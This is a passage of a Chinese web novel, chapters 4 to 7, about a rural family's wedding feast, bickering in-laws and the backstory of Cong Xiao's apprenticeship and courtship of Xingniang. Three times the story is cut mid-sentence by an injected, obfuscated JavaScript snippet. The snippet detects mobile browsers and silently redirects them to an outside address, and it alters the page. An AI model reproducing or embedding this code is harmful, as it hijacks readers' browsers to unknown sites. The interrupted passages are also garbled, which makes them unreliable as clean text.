汪氏满脸笑容，这个大女儿还是听话的，到底没白养。 4. 第 4 章 杏娘随着姜氏来到后厨，满口大娘婶子的打招呼。 “今天是我侄儿的好日子，让大伙受累了。” “李老爷子家的事不算事，大伙高兴着呢！” “李家的娇客回来啦，老爷子要合不拢嘴咯。” 三个女人一台戏，一屋子女人沸腾的能下饺子，锅碗瓢盆叮铃哐当声，菜刀剁在门板上“笃笃”声，洗菜倒水“哗啦”声，忙而不乱井井有条，编织成了农家的烟火气。 屋顶的炊烟缓缓升起，鲜辣咸香四散飘荡，勾得人肚里的馋虫翻江倒海，渗出的唾液浸润每一颗牙缝，猛吞一口口水咽下去，若无其事继续谈天说地。 灶房里外打了个转，杏娘走出堂屋往老宅去，客人多了起来，人声鼎沸喧闹异常，半大孩童如泥鳅般滑溜，穿梭奔跑于拥挤的人群，不时惹来一两声斥骂。 青果挣脱他娘的手，瞬间冲向几个小儿的背影，杏娘只来得及喊一声“别跑远了”，人就没了影。 回来老宅东间，杨氏正端着茶盏吹拂，杏娘一屁股坐下，脸上的笑容消失殆尽，眼底火苗能喷出星子。 “木哥儿千挑万选的，就挑出这么个老虔婆当岳母？当初相看时，这个看不上那个瞧不起的，好么，敢情他就看得上这种泼辣货色。” 杨氏瞟了她一眼，“你气什么？” “我能不气么，你看她那双老眼，恨不得扒了我的皮看一看里衣穿的什么颜色。”杏娘说到这里简直心火难消，猛拍了桌子一巴掌。 “说话着三不着两，自个来迟了就怨别人来早了，她是天王老子么，人还得等着她上早朝？嘴里喷粪，大喜的日子说不出两句好话就闭嘴，偏又好说。这要不是看在木哥儿的面上，我非得要她好看。您说，他怎么就找了个这样的呢？” “他找了哪样的用不着你操心。”杨氏讽刺一笑，“人家亲闺女的好日子尚且满口胡说八道，你这出了门子的小姑倒顾忌上了？” 鄙视的看着女儿，嘲讽几乎要溢出眼眶，“人家随口说了两句，你就气得张牙舞爪抓心捞肺，人要再多说几句，你且不是要卧病在床抓药看医，说不得严重些就去阎罗殿报道了。你看看你这出息，不管别人就看你自个，你跟她什么关系？” “八竿子打不着的人，你理她做甚，就当她在放屁。要是嫌她说话难听，你就该当场怼回去气死她，气死了活该。你现在急赤白脸给谁看，窝囊废才只会自个找气受。” 一番话说得杏娘红了脸，细想想又觉得很有道理，我怎么就没气到她呢？她懊恼地捏起拳头。 青叶眨巴着眼睛听娘跟外祖母说话，许多话她听不懂，却觉得有趣，暗自记在心里。 李苏木从小在府城沈家医馆学医，到了娶亲的年纪，上门说亲的络绎不绝。谁都知道他的前程不会差，不说有个本事通天的祖父，单只沈家的提携，那也差不了。从会说话就开始背诵汤头歌，六岁时也不在村里启蒙，送到镇上私塾正正经经念书，长得一表人才，说话做事有条不紊。 这样的人眼光自是挑剔的，却不想偶然一次从镇上回村里的船上，看中了河边买菜的卫氏，细条条的身段，说话轻言慢语。 卫家所在的村子紧挨着镇上，村民菜园种的瓜菜，河里捞的鱼虾走两步就能拿到镇上卖了得几个铜板，故而比一般村子富足。卫老爷夫妇生了两子两女，儿子只是平常，两个女儿却似得了女娲娘娘的厚爱，捏的尤其好，眼睛是眼睛，鼻子是鼻子。 大女儿到了年岁也没定下，搅得四邻八乡的小伙子在他家门前一日要走几个来回。打听得卫家没出什么大恶之人，卫老爷讷言少语，很寻常的庄户老汉，卫老娘汪氏却是有些个泼辣名声，不过那也不碍什么，谁家当家主事的还没个脾气。 大女儿不仅能干孝顺，还跟着兄长略识得几个字。 李大老爷家也派了人上门说亲，卫家四处打探后同意两个年轻人见面。接下来的日子，李苏木送的胭脂水粉叉环首饰，卫家照收不误，也回送些针织衣线，却不明着表露亲事日程，只说两家多个亲戚多个来往。 直到李苏木通过医学考核成了一名大夫，卫家便迫不及待地催促李家完婚，自此以李小大夫老丈人自居。 “过日子哪有四平八稳事事顺心的，取中一点就好，其他的不用纠结。小婉人还是不错的，现在年轻看不破，等她看透了，木哥儿家的日子就起来了。不过少年人嘛，多吃点苦头也没什么不好，总好过一大把年纪还拧不清。” 杨氏端起茶盏惬意地抿一口，满不在乎地说道，圆润富态的脸上每一条纹路都透着洞穿世事的豁达。 杏娘疑惑的望着她，她娘丝毫没有给女儿解惑的意思。 屋里一时安静下来，就显得蹑手蹑脚走到门帘边上便不动的脚步声格外显眼。 “老三家的，我这屋子是有狮子还是老虎？你站在门外不动算怎么回事，等着老婆子我三催四请，拱手相迎吗？” “啊哈，娘就是爱开玩笑，我这不是怕扰了娘跟小妹说话么。”钱氏掀起帘子走进来，嬉笑地说，“还是小妹得娘疼爱，小妹一来，娘都爱说笑了。” 她也不用人招呼，自在地找把椅子坐下，一双眼睛咕噜噜转个不停，在空了的碟子上多停留了几息，绕着杏娘转了个圈。 “三嫂在看什么？” 钱氏无辜地回答：“娘这么疼小妹，小妹可带了物件孝敬娘。” 杏娘双手一摊，“你也看见了，我没带什么东西。” “那娘肯定给了你东西。”钱氏笃定道。 “你……” 杨氏冷声打断道：“这跟你有什么关系，我的东西爱给谁给谁，你惦记也是白搭。” 钱氏一脸幽怨地指控：“娘你太偏心了，我虽然不是什么上得了台盘的人，好歹为李家生儿育女，您怎么把银钱给外人也不给自家儿孙花用。” “既然知道自个上不了台面，就不要到人前丢人现眼。”杨氏一脸不耐烦，这个三儿媳就是块狗皮膏药，甩都甩不掉。 钱氏满脸不服，又不敢再顶嘴。 恰在此时，姜氏端了一盘炒货进来，“还不到饭点，这是苏木带回来的炒货，据说味道特别，娘跟小妹尝尝鲜。” 眼睛一转看到坐在旁边的钱氏，“原来三弟妹在这，让我一顿好找，我说怎么煮饭的灶前没人看火，我跟你去看看，饭烧糊了可就闹笑话了。”拽了她的胳膊就要往外走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457563|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 钱氏纹丝不动，手一伸抓一把瓜子，“我也尝尝苏木买的稀罕玩意，不就是瓜子么，还能吃出朵花来。” 她飞快地把瓜子夹在门牙上，“咯嘣”一声，瓜子仁入口两片唇瓣一吹，瓜子皮飞出去。 看了眼无语的姜氏，得意洋洋地嘿嘿笑，“大嫂后悔了吧，昨天送来的鱼个头小还不新鲜，我早说了我娘家侄儿能弄来肥大的活鱼，个个能有三岁小儿高，你偏不领情。” “我没……” “吃了亏也是白吃，世上可没后悔药买。”不用人回答，钱氏自说自话。 “卫家的那爷三就是些没眼色的蠢货，在外面牛皮吹上了天，真当他们卫家能当我们李家的主了，也不看看自个是什么东西……” “木哥儿也真是的，这样的好日子，很该把芦根带在身边招待客人，他们可是堂兄弟，现在不帮衬还等到什么时候……” 青叶眼睁睁看着三舅妈起伏不停的嘴皮子，一边说话，一边翻飞吐出瓜子皮，两者丝毫不耽误，不一会地上就积了一堆瓜子皮。 姜氏眼瞅着婆母的脸上阴云密布，下一刻就要电闪雷鸣了，一把死劲拽了妯娌的胳膊强行扯了出去。 猛然少了一道密集聒噪的女声，屋内一下子空旷起来，几人竟呆愣了片刻，耳朵似乎还停留着“嗡嗡”声。 “哈哈！”杏娘实在没忍住，捶打桌子笑得花枝乱颤，“这世上也有娘你制不了的人，叫您老一直说我，这回遇到克星了吧，哈哈！” 杨氏一手扶着额头又好气又好笑，“你老娘都要被人气出好歹来了，你还在这幸灾乐祸。” 杏娘趴在桌上肩膀耸动，“我三嫂这个人吧，就是块滚刀肉，蒸不熟煮不烂，娘你到底是在哪找出的这么个人物，老钱家是不是跟咱家有仇啊，把这么个祸害弄到咱家来。” “哪里是我找出来的，是你爹干的好事。”杨氏恨声说道。 老钱家非但跟李家没仇，还有恩，李老爷子当乞儿到处讨食时，曾得过钱老爷子的一碗剩饭。等到儿女渐渐长大，钱老爷子提出把女儿嫁到李家，两家合做一家更亲密，李老爷子想到那一饭之恩点头答应了。 “老话说得再没错的，买猪还得看圈，你三嫂跟钱老婆子一个模子刻出来的。我当初也是瞎了眼，竟没想着多打听打听。”杨氏长吁短叹。 “就是苦了你三哥娶了这么个婆娘，他小时虽皮了些，但也没现在这么混啊，都是这婆娘祸害的。现在可好，还弄了个小钱氏进门，他们这一房算是完了。” 自从钱氏执意要把侄女娶进门当大儿媳妇，儿子也同意后，杨氏就对这一房死了心，只要他们不闯出天大的祸事，杨氏就当没生过这个儿子，眼不见心不烦。 奈何钱氏就是个不见兔子不撒鹰的主，无事尚且一天三趟的往老宅跑，不是蹭吃蹭喝就是闲话家常，无人理会也能自个搭起台子唱一天戏。赶都赶不走，你说她吧，她无事人一样当听不见，脸皮厚过城墙。 有事了那更是扯着李老爷子的袖子不撒手，撒泼打滚无所不用其极，不达目的誓不罢休。以至于李老爷子自诩是个有点学问的斯文人，但一见到这个三儿媳就添了个头疼的老毛病。 5. 第 5 章 且说钱氏前脚刚走，李老三后脚就进了老宅。 “你们夫妻两个是不是嫌我日子过得太舒坦了，轮番过来给我添堵。”杨氏看清来人，眼一闭不想面对。 “钱氏也来了？这婆娘就是喜欢到处躲懒。”李老三毫不在意，“儿子今儿定要给娘争脸面，娘只管等着就是。” 杨氏睁开半只眼皮打量这个儿子，一身宽衣长袍，头发梳的溜光水滑挽成髻。 杏娘离得近看得更仔细，他这个三哥本就长得瘦伶伶不挂肉，李家人个子都高，宽衣大袍往身上一套，如同十月田间地头随风舞动的稻草人。细细的麻杆杵在原地，衣袖袍角荡到了远处。 头发虽梳得整齐，却带着一股子常年不洗头的霉味，混合着不知倒了多少刺鼻头油的难闻味道。 杏娘不动声色地用帕子掩了鼻子，头一低，她三哥脚上的鞋子也不知多久没洗了，白色的鞋帮跟鞋面成了一个颜色，鞋口处一圈黝黑发亮。 “你打扮得人模狗样的，这是要去干什么大事？”杨氏面无表情地问。 “看娘说的什么话，今儿是我侄儿的大好日子，我这当叔叔的少不得要替他应酬一番，给他争个脸面，我也认得几个镇上的乡绅富户，同他们交往自然是不能穿的差了。” 李老三装模作样地捋袖子拍衣角，“只不过，娘，您也是知道的，这交际往来最是耗费银钱，您就给我几两碎银，以免跌了儿子的名声。” 杨氏眉毛都没动一下，重新闭上眼睛，“我倒不知道，这名声是从老子娘手里拿银子得的，老娘既不想要名声，也没银子。” “您没钱应该早说啊，千载难逢的机会就这么浪费了。”李老三遗憾地摇头。 “侄儿当上医馆的坐堂大夫，这是多大的喜事，就应该把所有的亲朋好友都邀请来，摆他三天的流水席。侄儿家的洗三又是一桩喜事，再摆三天的流水席。这样且不是既收了礼金，名声又传扬了出去，多有体面的事。” 他颇是惆怅地惋惜道：“我爹这个榆木脑袋就是想不开，放在别家指不定怎么舞龙起凤呢，咱家倒好，悄咪咪的连个吹打都没有，还就摆一天酒席，真是可惜啊！” “我这个榆木脑袋倒不是想不开。”一道清朗、缓慢的声音响起，人缓步走进屋子。 “外祖父！”青叶惊喜地叫道，冲过去抱了老人的双腿。 李老爷子一袭青衣道袍，年过五旬依旧腰背笔直，长身玉立，他拍拍外孙女的小脑袋，牵了她的手走到椅子边坐下。杏娘忙倒了杯茶双手端过去。 李老爷子接过茶盏轻抿一口，舒出一口气，对着三儿子慢声说道：“你要是哪天不幸殁了，别说六天的流水席，就是办他个十天半月的，也不是不行。” 李老三不满的撇嘴嗫嚅两声，“要是当初送去沈家的是我这一房的儿孙，现在风光得意的就该是我了。”却不敢对老爹似老娘那样放肆。 李老爷子懒得理这个蠢货，不屑地哼了一声。 青叶依恋地靠在老人腿边，李老爷子摸着她的包包头，唇角一弯，笑对杏娘：“今天晚上留下过夜，明天吃了晌午饭再回去。” 杏娘脆声应下。 李老大洪亮的嗓门在外面响起，李老爷子站起身交代老伴：“我先出去应酬，闲话待晚上再续，你不必出面，留在房内见几个人得了。” 见老伴点头，转身走了出去，李老三跟在后头。 “刚才说错了。”杨氏沉默了一会突然出声。 “嗯？”杏娘疑惑望向她。 “你三哥跟你三嫂就是王八配绿豆——天生一对，他们俩正好凑一对，免得祸害了别人。” …… 李家的宴客只办一天，那些收到邀请的，不请自来的，满当当挤得李老大家水泄不通。李老爷子的故交友人，李老大家的姨舅丈人，李苏木的亲朋好友，媳妇娘家的一干亲戚。人声喧闹，个个扯着嗓门嚷嚷，不像说话倒像吵架。 吃席的人吃完一批，立马撤下残羹冷炙收拾干净，摆上新碗筷，换下一批人坐满。幸而准备的充分，客人吃得满嘴流油，眉开眼笑。 杏娘都不知道自家怎会有这么多亲戚，许多面都没见过的，一上来就握了手亲热地叫唤，满口子称赞。 看着这些陌生的面孔，名字不知道，辈分不清楚，怎么称呼更是摸不着头脑，杏娘只得尴尬打哈哈，囫囵喊人，佯装热情端茶倒水。 一天下来嗓子也有些嘶哑，饭菜没吃多少，茶水不知灌了几壶，茅房都多跑了两趟。 欢声笑语随着傍晚的余晖消失在天际，客人陆续跟主家告别，离得远的先走，离得近的还能拉了手站路边闲话两句。眼看着实在不能拖了，再唠下去该看不清路了，方挥挥手依依惜别，一个说留步，一个道慢走。 看着惦念的人慢慢走远，留在原地的人抬手抹眼角，那走了的何尝不是无声哭泣。 这年头的人见一面属实不易，谁家里都是一摊子事，一年能见两三次面都难得，那些嫁得远的几年才能见一次。故而显得每次相逢异常珍惜，离别时就格外难受，下一次碰面也物是人非了。 帮工的邻居擦干净桌椅板凳，谁家的是什么样都心里有数。何家的桌子掉了块漆一直没补，张家的条凳腿上点了墨作记号，依次送还各家。 作为辛劳一天的补偿，女人们分食了看相略好些的大菜，这家端一碗肉丸，那家拿一盘卤肉，余下扒拉得稀烂的饭菜倒了一桶正好喂猪。 沾了油污的锅碗瓢盆清洗干净，女人们手脚麻利分工明确，按照自家碗里的花朵记号或姓氏，分门别类跟菜放在一旁。熄了灶火，晾干抹布，清扫灰尘，整座宅子恢复如初，至于菜板上多出来的葱姜蒜就需要主家第二天细细收拾了。 端上自家的盆碗，高声讨论着今天的热闹，相携走出大门，分开往两头而去。主家在后头连声道谢，走远的人挥挥手笑得更欢快了。 丛孝也过来跟岳父岳母辞行，杨氏挽留：“眼看着天就要黑了，过一夜再走吧！” 丛孝推迟：“几步路就到了，我一个大男人也不怕。春耕快到了，家里农具要拿出来修整，田里也要照看，让杏娘陪娘说说话。” 李老爷子挥手，让他自去。 离了两个老人的眼，丛孝拉了媳妇的手嘱咐。无非是些别太劳累、看好孩子、明天早点回家之类的话，片刻后转身大步往家赶。 杏娘站在原地目送他走远，男人的背影在夕阳的光晕中伟岸、挺拔。直到丈夫的身影细成一条竖线，杏娘才转身往老宅走。 李家老宅也是堂屋加东西厢房的布置，老两口住东间，西间是杏娘未出嫁时的闺房。 等到她嫁了人，老两口也没安排小辈住进来，孙儿孙女都不行，专门留给杏娘回娘家时居住。这在整个白水湾都是独一份，由此可见杏娘在老李家的地位。 “这可真是穷在闹市无人问，富在深山有远亲啊！”杏娘瘫在椅子上不想动弹，感慨今天人多。 杨氏淡然一笑，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457564|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦上添花而已，不必在意。” 一个身影连蹦带跳地闯进来，“小姑，你今晚不回去吧？自从过了年我就再没见过你，我有很多话想跟你说。” 杏娘欣喜地坐直身子，调侃他：“小李大夫来了，儿子都生了还这么跳脱。今天沾了你的光，我也过一回姑奶奶的瘾。” 李苏木嘿嘿笑着挠头，“在奶奶和小姑面前还端着，那我多累啊。” 他伸长手臂挺直背脊打了个哈欠，“今天可真是忙得够呛，我一个月说的话都没有今天多，饭桌上光顾着斟酒、回话，到现在肚皮还是空空的。” 杨氏忙催他回去吃饭，“你小姑不走，明天有的是时间碰头。要你娘下一碗素面，吃了一天酒，天也黑了，怕肠胃受不住” 等李苏木走了，母女两收拾好孩子，自家也洗漱完躺床上，天已经完全黑了。 …… 青叶嘟囔一声翻过身，她人虽小今天也是忙碌，不是被拉手就是被捏脸，听了一耳朵的漂亮话。心满意足地跟着她娘打转，递个杯子倒碗水地打下手。 吃完晚饭就开始打呵欠，到了洗漱时眼睛都睁不开，全程由着她娘擦脸洗脚脱衣裳，抱上床时已经开始说梦话了。 杏娘给女儿盖好薄被，“小三跟着爹睡，没问题吧？” 杨氏举了煤油灯放在床边的桌上，掀开被子靠着床头，“放心，你爹还中用。” “别的倒不担心，就是怕小三夜里撒一泡尿，请爹荆江里游上一游，嘻嘻！”杏娘乐呵呵地打趣。 “那是他的福气，一大把年纪了还有童子尿浇身上，别人想要都没有。”杨氏也笑着调侃，巴不得老伴出洋相。 “噼啪”灯芯闪了一下，杨氏拍拍床板，“你先上来，咱娘俩好好说说话。” 她往里挪动屁股，问出了心里一直惦记的事：“去年年前你们分家那会，我就听到了点风声，你爹不许我掺和。我想着倘若你遇着难事了，应是会找爹娘帮忙，就耐着性子没动，不成想你倒沉住气一直不来。” “过年时家里人多，来来往往的不是说话的地儿，况且姑爷也在，你吃完晚饭就回去了，又没赶上问。现在你们家都分完了，我心里的疙瘩也是时候解开了吧。你要是不跟我说清楚，我睡觉都不安稳。” 杏娘拿剪刀剪去一截灯芯，爬上床挨着老娘坐下，抱着她的胳膊，头靠在亲娘暖哄哄的肩膀上，轻叹了一声。 有多久没这样撒过娇了，做姑娘的日子可真好啊，不愁吃穿没有烦心事，每日想的最多的是饭后吃什么零嘴，新做的短衫该配哪件纱裙。 等到成了婚生了孩子，一夕之间就是大人了，睁眼就是开门七件事——柴米油盐酱醋茶，操持家务养育子女。 大到田里该做哪样活计，小到中饭是荤菜搭配素菜好，还是配汤水好，小儿的裤脚是不是又短了一截，女儿的牙齿怎么还没掉。人就这样被困在这些零落、细碎、杂乱的，仿佛永远没有尽头的琐碎中。 那时不是不想找爹娘帮忙，只是自个没本事稀里糊涂的，把本该好好的日子过得七零八落。那些家里境况不如自己家的尚且把日子过地仅仅有条，爹娘疼爱，自家男人也不差，偏偏就是自己不会持家理财，日子过成了一团糟。 爹娘年岁大了，自己没能孝顺不说，还要拿这些烦心事给他们添堵。 当时她就犯了倔脾气，硬憋着一口气：我倒要看看你们到底想怎么办，大不了净身出户，你们做了初一，到时可别怪我做十五。 6. 第 6 章 丛家是泮水村的大姓，占了一小半人口，从前也是大户人家。 据说几百年前还出过官宦老爷呢，只不过时移事迁一场空，镜花水月一场梦。现在的丛家已是落魄成了普通农户，族里读书种子虽多也只出了个把童生，再想往上却是不能。 好在富贵权势不可求，小富即安却易得，钟敏灵秀之地水土养人，聚族而居。日出而作日入而息，既无乡野帮闲惹事，也无诉讼官司缠身。 农闲之余，打一壶小酒，携一根钓杆，带三两儿孙，择水甩勾，倒也不失为人生一大乐事。 泮水村连通邻村的一段河道本是淤积堵塞，水流不畅，后经官府征徭役挖通了淤泥，水路畅通，河底、沿岸的稀泥巴堆成了一条宽大笔直的垄。 待到燕子衔着湿泥在屋檐下筑起了巢穴，垄上的十几户人家也成了气候。 丛三老爷这一脉便是从老宅那边迁过来的，一代传一代，子孙日渐繁多，老宅所在的空地便愈发稀少狭窄，后代成婚更是腾挪不开。几家兄弟一商量，索性搬到这条垄上建了新宅，总归是在一个村没离了宗族。 垄上空地多，家家户户正屋院子齐备，菜园前还能挖一口小池塘，麻雀虽小倒也五脏俱全。 丛三老爷夫妇生儿育女几十年，活下来的只有一女两子，大女儿嫁了本村农户王家。 大儿子在族里行五，自小喜爱读书，从早到晚书不离手，余事一概不论。二十上过了县、府试，成了一名童生，从此愈发地克己复礼、两袖清风。 端的是一副读书人的派头，跟他衣摆上溅了泥点永远洗不干净的父亲格格不入。 小儿子行七，念完了蒙学长到十余岁，自觉不是天纵奇才可凭科举出人头地的料。且看哥哥废寝忘食的劲头，家里也不可能供得起两个男丁念书，故能下地起就跟着他爹身后做农活。 然则他又是个胆大心眼活的毛头小子，不甘于一辈子靠天吃饭，面朝黄土背朝天地辛劳一生图个温饱。爹娘没成算，只能自个替自家谋算。 但凡村里谁家起屋子、添家具，他就跑过去帮忙，搬砖递瓦忙得不亦乐乎。殷勤备至地给那些泥瓦匠、木匠端茶倒水，他也不说话惹人嫌，只静悄悄地猫在一旁打个下手。 到了吃饭时间不用主人家催，自觉跑回家扒一口饭又过去候着。 主人家知道他的小心思，只不费柴米白得一个劳力，又不碍着自家事体，倒也乐得做个顺手人情。 那些匠人更不用说，一门手艺且是那搬好学的。 除了那些祖传行当，谁不是当牛做马从学徒做起，吃住在师傅家。头一年包揽师傅家所有粗累杂活，端洗脸水倒夜壶，劈柴挑水扫地擦桌子，三更灯火五更眠，比地主家的长工还不如。 有那刻薄的老师傅使唤徒弟跟牲畜无异，一头牛死了官府尚且要问个清楚查个明白，徒弟死了那也是白死，谁叫你没熬过去呢。 等到可以学技艺了，又应了那句老话“师傅引进门，修行在个人”。 师傅自顾做事，厚道些的略微提示一二，徒弟能学多少就看自家本事了，又不是亲生儿子，谁还会手把手地教。至于一些独门绝技更是想都别想，教会徒弟饿死师傅不是说说而已。 师傅们在防着徒弟这方面无师自通，千百年来无一例外，要不然也不会有“传子不传女”的默契了。 忽忽数年一闪而过，到了可以出师的年月了。徒弟心里有数，凭着自个本事绝无立足可能，只得继续跟着师傅打杂做事。 当然这时候能拿到些微薄的酬劳，但是依旧需承担师傅家全部粗重活计。 故当学徒能出人头地的，绝对在某一方面存在超乎寻常的慧根。在当下，除非是家里实在穷顿困苦、揭不开锅的人家，少有人肯送孩子当学徒的，当个农户又不是活不下去，何苦去受那份罪。 丛孝打小就是个心思灵活的孩子，旁人看个热闹，他却能用心琢磨出个道道，这里听一句，那里看一眼，悄没声息地学会了些本领。 能帮家里打一把凳子砌一堵矮墙了，隔壁堂兄还只知道乐呵呵地捉泥鳅。 机缘还是出在十二岁那年，一大队人马途经泮水村，当中有人骑着高头大马，有人乘着一人驾马车，还有走路的。据说是朝廷派出的能工巧匠去往府城建造一座宏伟壮观的庙宇，被大雨困住了只得留在此地住宿。 丛孝家也安排了几人留宿，房间床铺全腾出来给大人们住，睡不下的都在地上打地铺。 其中有一个姓曹的大人，长得温文尔雅，说话慢条斯理，并不与别个一样吃酒耍弄，整日闷在房中写写画画。 丛孝每日送了饭菜也不走，立在一旁伺候笔墨，时间长了竟也能看懂些边角。 曹大人看他得趣，也是漫天暴雨连绵不绝，阴沉沉的天像破了口子的缸，没完没了地往下倒水，人都发霉成能长出蘑菇了。好容易身边多了个活泼的半大小子，自家的小厮水土不服，拉肚子拉得落在了后头，不然也轮不到这家小子伺候。 下雨天打孩子——闲着也是闲着，曹大人乐得听叽叽喳喳的小子解闷逗趣——闲着无聊不是，不想这农家小子倒令他刮目相看。 能看书写字不奇怪，毕竟但凡有点余钱的人家都会送小子上个蒙学。再说此处也并不是那等穷山恶水之地，关键是能看懂画纸。 此次由朝廷指派去府城修建佛寺，先不说那些山门、大雄宝殿、斋堂法堂之类的，单只风景园林里的亭台楼阁就数不胜数，画纸不知捆了几螺。 丛家小子既能看得懂布局走向，又对泥瓦木工事项略微熟练，虽通晓的粗浅，提的问题也颇是可笑，但对一个乡下小子来说倒也极为难得。 等到天晴启程的时候，顺嘴问了句可否想跟着他做事——纯粹是想多个小厮伺候，丛孝迫不及待地答应下来。丛三老爷还有些犹疑，踌躇不决，陈氏却是个心大的，这么大的小子又丢不了，跟着大人学会些本领有何不好。 丛孝心意已决，收拾了两件衣裳卷成个包袱皮，揣了一瓶辣酱两个烧饼，头也不回地跟在马车后面走了。 官老爷的到来着实令泮水村热闹了好一阵子，直到车队走了月余，惊奇探讨之声仍不绝于耳。 远离城镇的小村庄，偷鸡摸狗这样鸡毛蒜皮的小事尚要争论个一年半载，何况如此盛景，朝廷里的官老爷呢，寻常县太爷都不容易见着，那不得说出个子丑寅卯来。 各个唾沫横飞、咬文嚼字，连说话都变得斯文起来，仿佛沾染了文气。 奈何文字底蕴实在有限，翻来覆去地咀嚼了半年有余，实在找不出新词汇了，只得作罢。另有一重原因是大人们给的住宿钱颇为可观，着实令村民们过了一阵打酒吃肉的富足日子，故而人人没口子地称赞。 然妇人们又有了新的想头，听说丛家小子还未说亲，这家说：“我家侄女年方十岁，年岁相当长得花容月貌，正堪相配。” 那家说：“我家外甥女正好大了三岁，女大三抱金砖，这是带着财气嫁予你家哩，不比那年岁小的，进了门就能添小子。” 只那岁数大得实在有点多的人家顿足叹息， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457565|169588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好的一个金龟婿就这么失之交臂，实在令人扼腕。 一时间丛三老爷家的门槛都踏薄了三成，陈氏乐得合不拢嘴，听了东家聊西家，仿若真个要娶媳。 幸而丛三老爷保持了些许清明，只说孩子还小且不在家，断没有不见面就定下亲事的，待他回家了再议。就这样热闹了半旬，总算消停下来。 跟着大人去往府城的丛孝一走就是五年，除了偶尔的只言片语及几两碎银，丛家就跟没了这个人似的，音讯全无。大伙都快忘了丛家还有个小老七，他又突然回来了。 人还是那么个人，只是从一个毛孩子成长为一个介于少年和青年的男性。 既保有少年的青涩又添了青年的成熟魅力，微黑的面孔，眉毛浓密鼻梁高挺，身板结实有力。 提着两个大包袱从马车上蹦下来喊“娘”，陈氏望着这个陌生又带点熟悉的青年，两眼空空一脸茫然，楞了半天回不了神，嘴巴张合迟疑地叫了小儿子名字。 等终于确定眼前的人是自家整整五年没音信的老幺，顿时悲从中来嚎啕大哭。 双手握拳捶打他的脊背，泪水如断了线的珠子滚落，不住口地哀嚎：“你个没良心的小畜生啊，你怎么舍得回来啦，你老娘等得你好苦啊！” 真真是见着落泪闻着伤心，当晚好一阵契阔，久别重逢直说到月上中天还意犹未尽。接下来两日，听到消息的亲朋好友陆续家来打探，自是另有一番热闹。 如此过了几天，丛孝给了老娘二十两银子做私房，自个出钱开始买砖拉瓦劈柴砍树——要建房啦！建好了房子才好说媳妇不是！丛家门槛再一次被踏薄了三成。 来来往往好不热闹，只丛孝到底在府城长了见识，寻常颜色根本看不上，说媒的虽多他却不松口，到房子建好也没个头绪。 这一日被陈氏使唤去镇上买布，路过一卖零嘴吃食的小摊贩，一片嘈杂混乱中听到一管清脆悦耳的女声：“我昨天就是在你这里买的果脯，当天晚上拿出来就是坏的，你还敢狡辩，当我是瞎子不成，你嘴角的这颗痦子我还能认错。” 说着就要去掀翻小贩的摊位，要他赔钱，不然就去报官。 丛孝脚步一顿，转过身见一女孩双手叉腰挡在矮个小贩前面，一双杏眼似是能喷火，乌黑的眉毛紧蹙，分毫不让。 小贩眼见抵赖不成，双手作揖又开始哀求：“小姐行行好，小本买卖挣不了几个钱，不是故意欺瞒，小人上有老母下有妻儿要养活，求小姐饶恕则个。” 女孩依旧不为所动，干脆利落地要他赔钱。 这时大踏步走过来一年长男子，还没到女孩身边就开始抱怨：“我的小姑奶奶，一错眼不见你就跑没了影，你就不能等我一起过来吗？” 小贩见她来了帮手，自觉讨不了好，只得心不甘情不愿的掏出几枚铜板。 女孩接过铜板跟男子往东走，丛孝不自觉跟上。 “你一个女孩家家的怎这般胆大，独自一人就敢跟人对峙。”男子仍是不满。 女孩扬起眉毛振振有词：“是他讹人在先，还不允我讨个公道？” “没说不让你讨公道，可总得有个帮手陪着吧，这要是出了事，看爹娘饶得了谁。” 女孩低了头不满地嘟囔：“就知道拿爹爹吓我，爹爹定也是赞成的。” 两人说着话直走过一条街，丛孝也跟了一条街，眼看两人就要往码头坐船，他也佯装赶集要回家，一路跟到了白水湾。 当天傍晚，丛孝两手空空地回到家，梦里都是那双明亮的杏眼。 7. 第 7 章 丛孝既有了中意的姑娘，自是百般打听，回家缠磨陈氏央中人去李家说合。 丛三老爷夫妇打小就拿捏不住他，他又是个有主见有成算的。何况李家也是好人家，虽家底子略单薄，好在有个神通广大的爹，想必不会亏待这个老闺女。 时下百姓结亲都是先找中人通个气，若合心意就安排地方双方见面，谈得拢再找媒婆提亲，若不合意那就当无事发生，谁的名声也不碍。 于是找了两边都认识的人递了话，李老爷子没说答应，也没说拒绝，丛家小子的事他也有所耳闻，倒是可以见上一见，约了丛家小子隔日去茶楼喝茶。 第二日，丛孝早早就到了厢房候着，端茶倒水殷勤备至地伺候李老爷子饮茶。 “且先不忙，听说你在府城五年，府城可是繁华至极？”李老爷子摆手制止丛孝添茶水，手指点桌面示意他坐下。 